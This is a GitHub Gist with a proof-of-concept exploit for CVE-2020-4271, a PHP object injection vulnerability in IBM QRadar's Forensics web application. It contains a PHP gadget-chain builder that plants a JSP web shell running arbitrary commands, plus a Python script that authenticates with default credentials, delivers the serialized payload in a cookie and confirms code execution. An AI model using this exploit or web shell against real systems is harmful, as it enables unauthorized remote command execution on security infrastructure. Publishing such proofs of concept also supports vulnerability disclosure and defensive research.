Created
April 16, 2020 07:51
-
-
Save ykoster/4bd5a97535bbd6a04f84b13c511e4426 to your computer and use it in GitHub Desktop.
PHP object injection vulnerability in QRadar Forensics web application (CVE-2020-4271) proof of concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
include("/opt/ibm/forensics/html/includes/license.inc.php"); | |
include("/opt/ibm/forensics/html/includes/simple_html_dom.php"); | |
$jsp = <<<__EOF | |
<!DOCTYPE html> | |
<html> | |
<pre> | |
<%@page import="java.util.*,java.io.*"%> | |
<% if (request.getParameter("c") != null) { | |
Process p = Runtime.getRuntime().exec(request.getParameter("c")); | |
DataInputStream dis = new DataInputStream(p.getInputStream()); | |
String disr = dis.readLine(); | |
while(disr != null) { | |
out.println(disr); | |
disr = dis.readLine(); | |
} | |
p.destroy(); | |
} %> | |
</pre> | |
</html> | |
__EOF; | |
$license = new License(); | |
$class = new ReflectionClass('License'); | |
$property = $class->getProperty('license_util'); | |
$property->setAccessible(true); | |
$property->setValue($license, 'echo ' . base64_encode($jsp) . | |
'|base64 -d > /opt/qradar/webapps/console/core/jsp/DisplayException.jsp #'); | |
$property = $class->getProperty('license_file'); | |
$property->setAccessible(true); | |
$property->setValue($license, '/etc/passwd'); | |
$dom = (object)array('callback' => array($license, 'get_license_info'), | |
'nodes' => array()); | |
$node = new simple_html_dom_node($dom); | |
$object = (object)array('dataset' => array($node), | |
'countTotal' => 1); | |
echo base64_encode(gzcompress(serialize($object))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import urllib3 | |
import requests | |
import urllib.parse | |
from requests.cookies import cookiejar_from_dict | |
base_url=f'https://127.0.0.1/' | |
username='admin' | |
password='initial' | |
verifycert=False | |
gadget = """eJyFVG1z4jYQzk9hfB87LTbguyCmnQlO7BgoCa8Gf2FkSbEFsqVDoo4vzX/vCpLJ9Xoz9YwtaffZ | |
Z/extHpA18jRhgYCa+2gDnrR6AtyKDZYM+MMMPLQC0fu4AF1XEDyUgm2K0wpdlSWu0pS5gAFRAGP | |
XZlGMWfAUXegURc5BucOzHowY8/mbYqNOVpqF728ngNJwQU9surD6F/Y9IflM3IUBgyQTIHGQ87u | |
w9kB/NXPiruCiQPF/1elTYuFyDA5WJ7Ou0xQP+GEVRqE9SywA6mu3kxX4jLuToYLq8a/7iOHkUK2 | |
HoPwbulOV8l6GMZR4WZJ/Uuwf5Y08vRjLq/J/UjYcbQa1tuEijgShkT9ht66HJdhZ7vwPRoJPeFS | |
v61V1vS+xnwFPLXFl3FQNOkm9NLN1J2UVNBwWJAyNOlmLgjP+baJVRzc9ePI97KoVvG9zoNczEjZ | |
30PMt/j+Jn9cDBc08V2ceOLCMfKyaq6yZCXHC1+waL0fQ61ksxakOzulnbW7isJmC3garZtxMNrH | |
/KAeajmaR6G7XYkTuQdMd96kSWjiaK5Ic2NrELQZ3m0382KR+DXdzJcUeLeJK0ngV1DzKKuGHg2n | |
LinXRbbI1Xipx8HarsUpbYYHvJk28a2bp5H4Nqls7PxPnPhiHBy+gK4uhv+VLooL7t+6x8FM/EU3 | |
M6htpECfzvgFd84xE//H3Ye3npTwX0FX1j1IG/e0uDnv4aQ7bNJlb/wY9N/39/e/M+iYz73Wr7T1 | |
R6stlWl/PWKKj+2aZVgp3Say0lIwGI+svdeqfcu1Eri5eyZMGS6r38DY+mRP1U+P3BMXzDo9cLaZ | |
IW0Fh7mmZ9P1d/gSP+9Omh21bUPPtXS9H9xQSsWIzfkOeoWvJYIuy5nZvefk1ZN0Bj/049uNcIQe | |
f4UHouBmIPJUmaU0WJwZB6//ADwxcW4=""" | |
if not verifycert: | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
response = requests.get(f'{base_url}console/', | |
verify=verifycert, allow_redirects=False, | |
auth=requests.auth.HTTPBasicAuth(username, password)) | |
if response.status_code != 302: | |
print(f"failed login as '{username}'") | |
exit(1) | |
cookies = cookiejar_from_dict({'serialized': urllib.parse.quote(gadget), | |
'SEC': response.cookies['SEC'], 'QRIF': response.cookies['SEC']}) | |
headers = {'Referer': f'{base_url}forensics/'} | |
url = f'{base_url}forensics/graphs.php?chart=WebSiteChart&output_image=1&dkey[]=serialized&dsize={len(gadget)}' | |
response = requests.get(url, verify=verifycert, cookies=cookies, headers=headers) | |
if response.status_code == 500: | |
url = f'{base_url}console/core/jsp/DisplayException.jsp?c=id' | |
response = requests.get(url, verify=verifycert) | |
if response.status_code == 200 and 'uid=99(nobody) gid=99(nobody) groups=99(nobody)' in response.text: | |
print(f'[!] successfully deployed JSP shell at: {url}') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment